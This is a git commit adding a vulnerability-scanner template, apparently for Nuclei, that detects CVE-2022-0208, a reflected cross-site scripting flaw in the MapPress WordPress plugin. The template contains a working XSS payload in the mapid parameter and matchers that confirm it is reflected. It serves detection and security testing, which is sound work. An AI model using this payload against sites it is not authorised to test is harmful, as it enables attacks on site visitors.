Add CVE-2022-0208 (#4187)

* Add CVE-2022-0208

* misc updates

Co-authored-by: sandeep <sandeep@projectdiscovery.io>
patch-1
vrenzolaverace 2022-04-24 12:37:48 +02:00 committed by GitHub
parent 88e9c5ebe6
commit 1ca45751d1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 39 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: CVE-2022-0208
info:
name: WordPress Plugin MapPress < 2.73.4 - Reflected XSS
author: edoardottt
severity: medium
description: The MapPress Maps for WordPress plugin before 2.73.4 does not sanitise and escape the mapid parameter before outputting it back in the "Bad mapid" error message, leading to a Reflected Cross-Site Scripting.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0208
cwe-id: CWE-79
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0208
- https://wpscan.com/vulnerability/59a2abd0-4aee-47aa-ad3a-865f624fa0fc
tags: cve,cve2022,mappress,xss,wordpress,wp-plugin
requests:
- method: GET
path:
- "{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "<img src onerror=alert(document.domain)>"
- "Bad mapid"
condition: and